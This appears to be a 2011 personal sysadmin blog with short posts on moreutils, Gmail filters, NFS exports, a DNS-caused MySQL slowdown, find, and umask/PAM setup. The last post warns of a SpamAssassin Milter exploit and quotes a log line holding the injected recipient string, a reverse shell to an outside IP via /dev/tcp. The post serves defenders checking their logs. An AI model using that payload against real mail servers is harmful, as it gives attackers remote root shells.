Wednesday, December 14, 2011

moreutils

Discovered 'moreutils' package in Ubuntu. It features a list of nice tools, of which my favorite are 'ts', 'pee' and 'vipe'.

'ts' puts timestamps to every line of text that is piped through it. Like,

$ ping google.com|ts
Dec 14 14:18:45 PING google.com (209.85.173.104) 56(84) bytes of data.
Dec 14 14:18:45 64 bytes from lpp01m01-in-f104.1e100.net (209.85.173.104): icmp_seq=1 ttl=52 time=88.5 ms
Dec 14 14:18:46 64 bytes from lpp01m01-in-f104.1e100.net (209.85.173.104): icmp_seq=2 ttl=52 time=92.5 ms
Dec 14 14:18:47 64 bytes from lpp01m01-in-f104.1e100.net (209.85.173.104): icmp_seq=3 ttl=52 time=90.5 ms

I love timestamps! I put them everywhere I can, it helps so much to find out later what was going on. 'ts' will certainly help me.

Another tool is 'pee'. As 'man pee' puts it, it's like 'tee', but for pipes. 'pee' reads standard input and sends it to a number of commands supplied as arguments to 'pee'. Like,

$ cat file.txt |pee 'wc -c' 'wc -w' 'wc -l'
5870
257
257

And, finally, 'vipe' — it's a way to edit data produced by one program before they are piped into another one. 'sed' is good enough, but when some interactivity is needed, 'vipe' should be handy.

Wednesday, November 23, 2011

Real conversations in Gmail

Organizing your email in the Gmail way, by conversation, is very handy. What always annoyed me in the Google implementation was that the sent emails did not appear in the default folder. I know it is called Inbox. But sent messages do appear there, too, as soon as the recipient replies to me.

When I used other email clients, like Pine or Thunderbird, I used to set up FCC (folder carbon copy) in the outgoing messages to my Inbox. This gave me a conversation-like structure better than the one found in Gmail. Finally, I have the same structure in Gmail.

To see all your outgoing messages in (so called) Inbox, even when there are no replies in the conversation, create a new filter. Put your address to the From: field. Click "Next Step". Select "Never send it to Spam" and "Create Filter". That's it.

Thursday, November 10, 2011

Update list of directories exported by NFS on the fly

NFS configuration rarely changes on my servers and I always forget how the file /etc/exports may be re-read without stopping the NFS daemon:

exportfs -r

Tuesday, August 16, 2011

The case of slow MySQL connect

Quite of a sudden, PHP scripts on one of my servers became very slow. Other servers worked fine. PHP-FPM logs showed that the biggest delays happened during database operations. The database server, though, recorded nothing in the mysql-slow.log.

Then, we had a look at the process list in MySQL. There were some dozens of lines like these:

| 1409888 | unauthenticated user | 11.11.11.11:59585    | NULL | Connect     |   NULL | login                                                          | NULL             |
| 1409889 | unauthenticated user | 11.11.11.11:59584    | NULL | Connect     |   NULL | login                                                          | NULL             |
| 1409890 | unauthenticated user | 11.11.11.11:59587    | NULL | Connect     |   NULL | login                                                          | NULL             |

where 11.11.11.11 is the IP address of that application server whence the connection was opened. Google said that these messages usually indicate at DNS problems. One of possible solutions would be to restart MySQL with --skip-name-resolve option, but we didn't want to stop the database. So, we added the hostname of the application server to the /etc/hosts file on the database server, and voilá! Unauthenticated users were gone in some seconds and the performance was restored.

The hosting company had informed us before of the planned maintenance, but they only mentioned their own website and their 'whois' server. They must have done something wrong with their DNS servers, too, which caused our database accept new connections very slowly.

Thursday, July 21, 2011

Browsers: use TAB to move between form fields

In Firefox, there's a useful setting that allows you to use TAB key to move between form fields only, skipping links. To do so, open "about:config" page, find "accessibility.tabfocus" variable and set it to 3. It took me quite some time to make Chromium to behave in a similar way. This solution was found here

Edit ~/.config/chromium/Default/Preferences. Find the section called `webprefs`. Add the following line at the beginning of the section:

        "tabs_to_links": false,

You can add the line at any place of the section, actually, but keep an eye on commas, they should appear at the end of all lines but the last one. The recipe was not tested on Google Chrome, but I see no reasons why it shouldn't work.

Saturday, July 16, 2011

Lennart Poettering and the death of BSD

Lennart Poettering, the author of Avahi, the most often purged package in Linux, thinks that BSD isn't relevant anymore. What other proof do you need that BSD is still alive and kicking?

Monday, June 27, 2011

Performing more than one search in one pass of 'find'

find is a utility that searches a directory tree for files matching complex conditions. The conditions may include file name, file type, creation/modification time, owner, permissions and others. Besides, you can define an action to be performed on the files that match your search criteria.

When I have to run a number of searches, I usually do it sequentially, but the process may take too much time if the number of files find has to inspect is very large. It turns out that you can define multiple sets of conditions in find and perform different actions on files that match different conditions. The utility will traverse the directory only once.

This is how you can define multiple conditions and actions in one pass of find:

find /data \( ! -group mygroup -exec chgrp mygroup {} \; \) , \
                   \( -type f ! -perm -g=rw -exec chmod g+rw {} \; \) , \
                   \( -type d ! -perm -g=rws -exec chmod g+rws {} \; \)

This command will change group owner for all files that do not belong to mygroup, set read and write permissions for the owning group if the file is a regular file, set read, write and setgid permissions if the file is a directory. All in a single pass.

Wednesday, April 20, 2011

How to change default `umask' in Linux. File permissions for collaborative environment

Umask is a command and value that defines what permissions newly created files and directories will have. Had it not been for umask, every file you create would have had permissions set to 666 (u=rw,g=rw,o=rw), and every directory would have had 777 (u=rwx,g=rwx,o=rwx). But the value of umask is subtracted from 666 and the difference is used as the permissions for the new file. Usually, the default umask is 022, which leaves us with 644 (owner can read and write, others can read the file). The value of umask may be different for different users. This is done with the command of the same name (search for 'umask' in `man bash`).

Frankly, I find the choice of the default value for umask rather strange. Suppose you have a server where five people work on a web application and they have their own accounts. The code is stored in a version control system. These five people should have enough permissions to check out new code. When one of them adds a new file to the repository and then checks it out, the file belongs to this user and cannot be modified by the others. Solutions might be either to grant write permissions to everyone (chmod 666 filename) or to change the group ownership of the file to some group to which all five developers belong and grant write permissions to that group. The first solution is insecure. As for the second one, we can use a simple trick to maintain group ownership of all files in the project.

Among various permissions you can set with chmod there is one called setgid. When this bit is set on a directory, all files and directories created in this directory will have the same group ownership as this directory. So, we only have to grant write permissions to the group-owner in order to work in collaboration with other users. To grant the necessary permissions automatically, we could set the umask value to 002. This is done using simple command 'umask 002', but is there a way to set this as a default value for all users?

Umask may be modified in /etc/profile. For example, in Ubuntu Linux, this file contains the following line:

umask 022

By changing the value to 002, we'll change the umask for all users who log in using shells which execute /etc/profile. Watch out, though. There are some situations when this file is not run. For example, cron executes all commands using default umask 022. How do we tackle this problem?

Another way to change umask is to use PAM (Pluggable Authentication Modules), the subsystem for adding various features to login process. One of these modules is called pam_umask. It allows for setting default umask for all users. We have to enable this module for both interactive and non-interactive sessions. In Ubuntu, configuration files of PAM are stored in /etc/pam.d. Make sure you have module pam_umask installed (package libpam-modules) and edit two files, common-session and common-session-noninteractive, adding one line in the end of each of them:

session optional pam_umask.so umask=002

NB! If I understand correctly, you have to run pam-auth-update so PAM would reread the configuration.

CAVEAT 1: umask may be set in users' ~/.profile, so make sure it is not!

CAVEAT 2: There are some especially badly written programs that have umask hardcoded. Gnome is notorious for having such bugs (e.g., see bug #336214). My advice would be: do NOT use GDM or Nautilus. Or Gnome, or KDE, for that matter :).

So, to sum it up. To set up a collaborative environment, we have to:

  1. create a new group: addgroup team
  2. add users to this group: adduser user1 team
  3. create new directory: mkdir /var/www/project
  4. change group ownership for the directory: chgrp team /var/www/project
  5. change the permissions for the directory: chmod g+sw /var/www/project
  6. edit PAM config files, adding pam_umask.so.

Now, every file that user1 creates in /var/www/project will be writable for all users in the team

Pardon me for repeating myself, but I do find the default value of umask unreasonable. 022 is often explained by security concerns, but it does not allow the group members to edit the file, but instead grants read rights to everyone! I could understand, say, 027, which bans read access to those outside the group, or 002, which grants write access to the group. Perhaps, 007 would be a good compromise.

Monday, February 14, 2011

Vulnerability in Spamassassin milter plugin

Owners of sendmail/postfix with the Spamassassin Milter plugin, watch out! Exploit is in the wild:
Spamassassin Milter Plugin Remote Root,
SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability,
ET EXPLOIT Possible SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt.

Check your logs for mail like this:

Feb 13 20:31:55 host sm-mta[21734]: p1DHVtxv021734: from=blue@dick.com, size=0, class=0, nrcpts=0, proto=SMTP, daemon=MTA-v4, relay=eluxenia.com [62.149.195.3]

If the system is not vulnerable, sendmail would reply with:

Feb 13 20:31:55 host sm-mta[21734]: p1DHVtxv021734: root+:"|exec /bin/sh 0</dev/tcp/87.106.250.176/45295 1>&0 2>&0"... Cannot mail directly to programs

At least, this is what my sendmail reported.